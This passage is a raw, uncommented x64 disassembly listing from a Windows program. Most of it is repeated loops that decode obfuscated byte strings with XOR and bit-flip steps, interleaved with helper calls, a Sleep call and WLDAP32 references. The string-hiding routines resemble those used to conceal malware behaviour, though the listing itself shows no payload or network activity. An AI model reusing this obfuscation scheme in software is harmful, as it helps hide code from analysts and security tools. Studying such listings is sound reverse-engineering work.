movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x149]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027ce23
inc cl
cmp cl, 5
jne 0x14027ce11
jmp 0x14027ce35
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x148]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x146]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x51
jne 0x14027cd80
lea rdx, [r9 + 0xf3]
lea rcx, [rbp + 0x1760]
call fcn.140086d40
nop
lea rax, [rbp + 0x1740]
mov qword [rbp + 0xe0], rax
lea rax, [rbp + 0x1780]
mov qword [rbp + 0xe8], rax
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x478]
call fcn.1402ac810
nop
movzx eax, byte [r15 + 0x38]
mov byte [rbp + 0x53d8], al
lea rdx, [rbp + 0x478]
lea rcx, [rbp + 0x53e0]
call fcn.1402ae0f0
nop
xor eax, eax
mov byte [rsp + 0x4c], al
lea rdx, [rbp + 0x5ed0]
lea rcx, [rsp + 0x4c]
call fcn.140274c90
mov r9, rax
mov byte [rax + 0xf0], 0
mov r11d, r12d
lea r8, [rax + 0xb4]
nop dword [rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0xf3]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027cf27
inc dl
cmp dl, 4
jne 0x14027cf11
jmp 0x14027cf39
movsx ecx, r10b
movzx eax, byte [r9 + 0xf6]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027cf58
inc cl
cmp cl, 8
jne 0x14027cf46
jmp 0x14027cf6a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xf5]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027cf83
inc cl
cmp cl, 5
jne 0x14027cf71
jmp 0x14027cf95
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xf4]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0xf2]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x3c
jne 0x14027cee0
lea rdx, [r9 + 0xb4]
lea rcx, [rbp + 0x3c20]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x4d], al
lea rdx, [rbp + 0x56c0]
lea rcx, [rsp + 0x4d]
call fcn.140274e60
mov r9, rax
mov byte [rax + 0xcc], 0
mov r11d, r12d
lea r8, [rax + 0x99]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0xcf]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027d037
inc dl
cmp dl, 4
jne 0x14027d021
jmp 0x14027d049
movsx ecx, r10b
movzx eax, byte [r9 + 0xd2]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d068
inc cl
cmp cl, 8
jne 0x14027d056
jmp 0x14027d07a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xd1]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d093
inc cl
cmp cl, 5
jne 0x14027d081
jmp 0x14027d0a5
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xd0]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0xce]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x33
jne 0x14027cff0
lea rdx, [r9 + 0x99]
lea rcx, [rbp + 0x3c40]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x4e], al
lea rdx, [rbp + 0x3ca0]
lea rcx, [rsp + 0x4e]
call fcn.140274fe0
mov r9, rax
mov byte [rax + 0x78], 0
mov r11d, r12d
lea r8, [rax + 0x5a]
nop dword [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x7b]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027d146
inc dl
cmp dl, 4
jne 0x14027d130
jmp 0x14027d155
movsx ecx, r10b
movzx eax, byte [r9 + 0x7e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d174
inc cl
cmp cl, 8
jne 0x14027d162
jmp 0x14027d183
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x7d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d1a2
inc cl
cmp cl, 5
jne 0x14027d190
jmp 0x14027d1b1
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x7c]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x7a]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x1e
jne 0x14027d100
lea rdx, [r9 + 0x5a]
lea rcx, [rbp + 0x3c60]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x4f], al
lea rdx, [rbp + 0x2140]
lea rcx, [rsp + 0x4f]
call fcn.1402750b0
mov r9, rax
mov byte [rax + 0x44], 0
mov r11d, r12d
lea r8, [rax + 0x33]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x47]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027d246
inc dl
cmp dl, 4
jne 0x14027d230
jmp 0x14027d255
movsx ecx, r10b
movzx eax, byte [r9 + 0x4a]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d274
inc cl
cmp cl, 8
jne 0x14027d262
jmp 0x14027d283
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x49]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d2a2
inc cl
cmp cl, 5
jne 0x14027d290
jmp 0x14027d2b1
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x48]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x46]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x11
jne 0x14027d200
lea rdx, [r9 + 0x33]
lea rcx, [rbp + 0x3c80]
call fcn.140086d40
nop
lea rax, [rbp + 0x3c20]
mov qword [rbp + 0xd0], rax
lea rax, [rbp + 0x3ca0]
mov qword [rbp + 0xd8], rax
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x488]
call fcn.1402ac810
nop
movzx eax, byte [r15 + 0x39]
mov byte [rbp + 0x53f0], al
lea rdx, [rbp + 0x488]
lea rcx, [rbp + 0x53f8]
call fcn.1402ae0f0
nop
xor eax, eax
mov byte [rsp + 0x50], al
lea rdx, [rbp + 0x3d20]
lea rcx, [rsp + 0x50]
call fcn.140275130
mov r9, rax
mov byte [rax + 0x78], 0
mov r11d, r12d
lea r8, [rax + 0x5a]
nop dword [rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x7b]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027d396
inc dl
cmp dl, 4
jne 0x14027d380
jmp 0x14027d3a5
movsx ecx, r10b
movzx eax, byte [r9 + 0x7e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d3c4
inc cl
cmp cl, 8
jne 0x14027d3b2
jmp 0x14027d3d3
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x7d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d3f2
inc cl
cmp cl, 5
jne 0x14027d3e0
jmp 0x14027d401
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x7c]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x7a]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x1e
jne 0x14027d350
lea rdx, [r9 + 0x5a]
lea rcx, [rbp + 0x2f20]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x51], al
lea rdx, [rbp + 0x11d8]
lea rcx, [rsp + 0x51]
call fcn.140275200
mov r9, rax
mov byte [rax + 0x2c], 0
mov r11d, r12d
lea r8, [rax + 0x21]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x2f]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027d496
inc dl
cmp dl, 4
jne 0x14027d480
jmp 0x14027d4a5
movsx ecx, r10b
movzx eax, byte [r9 + 0x32]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d4c4
inc cl
cmp cl, 8
jne 0x14027d4b2
jmp 0x14027d4d3
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x31]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d4f2
inc cl
cmp cl, 5
jne 0x14027d4e0
jmp 0x14027d501
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x30]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x2e]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0xb
jne 0x14027d450
lea rdx, [r9 + 0x21]
lea rcx, [rbp + 0x2f40]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x52], al
lea rdx, [rbp + 0x75d0]
lea rcx, [rsp + 0x52]
call fcn.140275260
mov r9, rax
mov byte [rax + 0x1c4], 0
mov r11d, r12d
lea r8, [rax + 0x153]
nop dword [rax]
nop dword [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x1c7]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027d5a7
inc dl
cmp dl, 4
jne 0x14027d591
jmp 0x14027d5b9
movsx ecx, r10b
movzx eax, byte [r9 + 0x1ca]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d5d8
inc cl
cmp cl, 8
jne 0x14027d5c6
jmp 0x14027d5ea
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x1c9]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d603
inc cl
cmp cl, 5
jne 0x14027d5f1
jmp 0x14027d615
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x1c8]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x1c6]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x71
jne 0x14027d560
lea rdx, [r9 + 0x153]
lea rcx, [rbp + 0x2f60]
call fcn.140086d40
nop
lea rax, [rbp + 0x2f20]
mov qword [rbp + 0xc0], rax
lea rax, [rbp + 0x2f80]
mov qword [rbp + 0xc8], rax
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x498]
call fcn.1402ac810
nop
movzx eax, byte [r15 + 0x3a]
mov byte [rbp + 0x5408], al
lea rdx, [rbp + 0x498]
lea rcx, [rbp + 0x5410]
call fcn.1402ae0f0
nop
xor eax, eax
mov byte [rsp + 0x53], al
lea rdx, [rbp + 0x7df0]
lea rcx, [rsp + 0x53]
call fcn.140275610
mov r9, rax
mov byte [rax + 0x2a8], 0
mov r11d, r12d
lea r8, [rax + 0x1fe]
nop dword [rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x2ab]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027d707
inc dl
cmp dl, 4
jne 0x14027d6f1
jmp 0x14027d719
movsx ecx, r10b
movzx eax, byte [r9 + 0x2ae]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d738
inc cl
cmp cl, 8
jne 0x14027d726
jmp 0x14027d74a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x2ad]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d763
inc cl
cmp cl, 5
jne 0x14027d751
jmp 0x14027d775
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x2ac]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x2aa]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0xaa
jne 0x14027d6c0
lea rdx, [r9 + 0x1fe]
lea rcx, [rbp + 0xd20]
call fcn.140086d40
nop
lea rax, [rbp + 0xd20]
mov qword [rbp + 0xb0], rax
lea rax, [rbp + 0xd40]
mov qword [rbp + 0xb8], rax
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x4a8]
call fcn.1402ac810
nop
movzx eax, byte [r15 + 0x3b]
mov byte [rbp + 0x5420], al
lea rdx, [rbp + 0x4a8]
lea rcx, [rbp + 0x5428]
call fcn.1402ae0f0
nop
xor eax, eax
mov byte [rsp + 0x54], al
lea rdx, [rbp + 0x5c00]
lea rcx, [rsp + 0x54]
call fcn.140275bb0
mov r9, rax
mov byte [rax + 0xe4], 0
mov r11d, r12d
lea r8, [rax + 0xab]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0xe7]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027d867
inc dl
cmp dl, 4
jne 0x14027d851
jmp 0x14027d879
movsx ecx, r10b
movzx eax, byte [r9 + 0xea]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d898
inc cl
cmp cl, 8
jne 0x14027d886
jmp 0x14027d8aa
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xe9]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d8c3
inc cl
cmp cl, 5
jne 0x14027d8b1
jmp 0x14027d8d5
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xe8]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0xe6]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x39
jne 0x14027d820
lea rdx, [r9 + 0xab]
lea rcx, [rbp + 0x1780]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x55], al
lea rdx, [rbp + 0x6a90]
lea rcx, [rsp + 0x55]
call fcn.140275d70
mov r9, rax
mov byte [rax + 0x140], 0
mov r11d, r12d
lea r8, [rax + 0xf0]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x143]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027d977
inc dl
cmp dl, 4
jne 0x14027d961
jmp 0x14027d989
movsx ecx, r10b
movzx eax, byte [r9 + 0x146]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d9a8
inc cl
cmp cl, 8
jne 0x14027d996
jmp 0x14027d9ba
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x145]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027d9d3
inc cl
cmp cl, 5
jne 0x14027d9c1
jmp 0x14027d9e5
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x144]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x142]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x50
jne 0x14027d930
lea rdx, [r9 + 0xf0]
lea rcx, [rbp + 0x17a0]
call fcn.140086d40
nop
lea rax, [rbp + 0x1780]
mov qword [rbp + 0x80], rax
lea rax, [rbp + 0x17c0]
mov qword [rbp + 0x88], rax
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x4b8]
call fcn.1402ac810
nop
movzx eax, byte [r15 + 0x3c]
mov byte [rbp + 0x5438], al
lea rdx, [rbp + 0x4b8]
lea rcx, [rbp + 0x5440]
call fcn.1402ae0f0
nop
lea rax, [rbp + 0x5390]
mov qword [rbp + 0xa0], rax
lea rax, [rbp + 0x5450]
mov qword [rbp + 0xa8], rax
lea r8, [rsp + 0x56]
lea rdx, [rbp + 0xa0]
lea rcx, [0x1403d2e38]
call fcn.1402aca50
nop
lea r9, [fcn.140276590]
mov edx, Ordinal_27
lea r8d, [rdx - 0x10]
lea rcx, [rbp + 0x5390]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x4b8]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
mov r8, r13
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x1780]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x4a8]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdx - 0x1f]
lea rcx, [rbp + 0xd20]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x498]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdx - 0x1d]
lea rcx, [rbp + 0x2f20]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x488]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdx - 0x1c]
lea rcx, [rbp + 0x3c20]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x478]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
mov r8, r13
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x1740]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x468]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdx - 0x1c]
lea rcx, [rbp + 0x3ba0]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x458]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
mov r8, r13
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x16c0]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x448]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdx - 0x1f]
lea rcx, [rbp + 0xd40]
call fcn.140313ca0
lea rcx, [0x1403587f0]
call fcn.140313c88
nop
lea rcx, [0x1403d2e30]
call fcn.140313dac
cmp dword [r15 + 0x44], 1
jle 0x14027e238
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rsp + 0x57], al
lea rdx, [rbp + 0x5880]
lea rcx, [rsp + 0x57]
call fcn.140275ff0
mov r9, rax
mov word [rax + 0xd0], r12w
mov r11d, r12d
lea r10, [rax + 0x9c]
nop dword [rax + rax]
lea edi, [r11 + r11*2]
movzx edx, word [r9 + rdi*2]
mov word [r10], dx
movzx eax, r11w
add ax, ax
lea esi, [rax + r11]
movzx r8d, byte [r9 + 0xd4]
add r8w, si
xor r8w, dx
mov word [r10], r8w
xor dl, dl
lea eax, [rdi + 1]
movzx ebx, word [r9 + rax*2]
nop word [rax + rax]
movzx ecx, dl
movzx eax, bx
shr ax, cl
test al, 1
jne 0x14027dcb6
inc dl
cmp dl, 4
jne 0x14027dca0
jmp 0x14027dcca
movzx r8d, r8w
movzx eax, byte [r9 + 0xd7]
btc r8d, eax
mov word [r10], r8w
mov cl, 5
lea eax, [rdi + 2]
mov ebx, eax
movzx edx, word [r9 + rax*2]
movzx eax, dx
shr ax, cl
test al, 1
jne 0x14027dce9
inc cl
cmp cl, 8
jne 0x14027dcd6
jmp 0x14027dd00
movzx ecx, r8w
movzx eax, byte [r9 + 0xd6]
btc ecx, eax
movzx r8d, cx
mov word [r10], cx
xor cl, cl
movzx edx, word [r9 + rbx*2]
nop word [rax + rax]
movzx eax, dx
shr ax, cl
test al, 1
jne 0x14027dd23
inc cl
cmp cl, 5
jne 0x14027dd10
jmp 0x14027dd3a
movzx ecx, r8w
movzx eax, byte [r9 + 0xd5]
btc ecx, eax
movzx r8d, cx
mov word [r10], cx
movzx eax, byte [r9 + 0xd3]
add ax, si
xor ax, r8w
mov word [r10], ax
inc r11d
add r10, 2
cmp r11d, 0x1a
jne 0x14027dc60
lea rdx, [r9 + 0x9c]
lea rcx, [rbp + 0x83b0]
call fcn.1400856c0
nop
cmp qword [rbp + 0x83c0], 0
je 0x14027df6c
xor eax, eax
mov byte [rsp + 0x58], al
lea rdx, [rbp + 0x61d0]
lea rcx, [rsp + 0x58]
call fcn.140276170
mov r9, rax
mov byte [rax + 0x104], 0
mov r11d, r12d
lea r8, [rax + 0xc3]
nop dword [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x107]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027ddf7
inc dl
cmp dl, 4
jne 0x14027dde1
jmp 0x14027de09
movsx ecx, r10b
movzx eax, byte [r9 + 0x10a]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027de28
inc cl
cmp cl, 8
jne 0x14027de16
jmp 0x14027de3a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x109]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027de53
inc cl
cmp cl, 5
jne 0x14027de41
jmp 0x14027de65
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x108]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x106]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x41
jne 0x14027ddb0
lea rdx, [r9 + 0xc3]
lea rcx, [rbp + 0x17c0]
call fcn.140086d40
nop
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x83b0]
call fcn.140076250
mov rbx, qword [rax]
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x83b0]
call fcn.140076270
lea r9, [rsp + 0x59]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x17e0]
call fcn.140065090
nop
lea rax, [rbp + 0x17c0]
mov qword [rbp + 0x4d0], rax
lea rax, [rbp + 0x1800]
mov qword [rbp + 0x4d8], rax
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x4e0]
call fcn.1402ac810
nop
movzx eax, byte [r15 + 0x3d]
mov byte [rbp + 0xaa0], al
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0xaa8]
call fcn.1402ae0f0
nop
lea rdx, [rbp + 0xaa0]
lea rcx, [0x1403d2e38]
call fcn.1402adfb0
nop
lea rcx, [rbp + 0xaa8]
call fcn.1402ac7a0
nop
lea rcx, [rbp + 0x4e0]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
mov r8, r13
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x17c0]
call fcn.140313ca0
xor eax, eax
mov byte [rsp + 0x5a], al
lea rdx, [rbp + 0x43e0]
lea rcx, [rsp + 0x5a]
call fcn.140276370
mov r9, rax
mov byte [rax + 0x80], 0
mov r11d, r12d
lea r8, [rax + 0x60]
nop dword [rax]
nop dword [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x83]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027dfe7
inc dl
cmp dl, 4
jne 0x14027dfd1
jmp 0x14027dff9
movsx ecx, r10b
movzx eax, byte [r9 + 0x86]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027e018
inc cl
cmp cl, 8
jne 0x14027e006
jmp 0x14027e02a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x85]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027e043
inc cl
cmp cl, 5
jne 0x14027e031
jmp 0x14027e055
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x84]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x82]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x20
jne 0x14027dfa0
lea rdx, [r9 + 0x60]
lea rcx, [rbp + 0x1800]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x5b], al
lea rdx, [rbp + 0x4f10]
lea rcx, [rsp + 0x5b]
call fcn.140276450
mov r9, rax
mov byte [rax + 0xac], 0
mov r11d, r12d
lea r8, [rax + 0x81]
nop dword [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0xaf]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027e0f7
inc dl
cmp dl, 4
jne 0x14027e0e1
jmp 0x14027e109
movsx ecx, r10b
movzx eax, byte [r9 + 0xb2]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
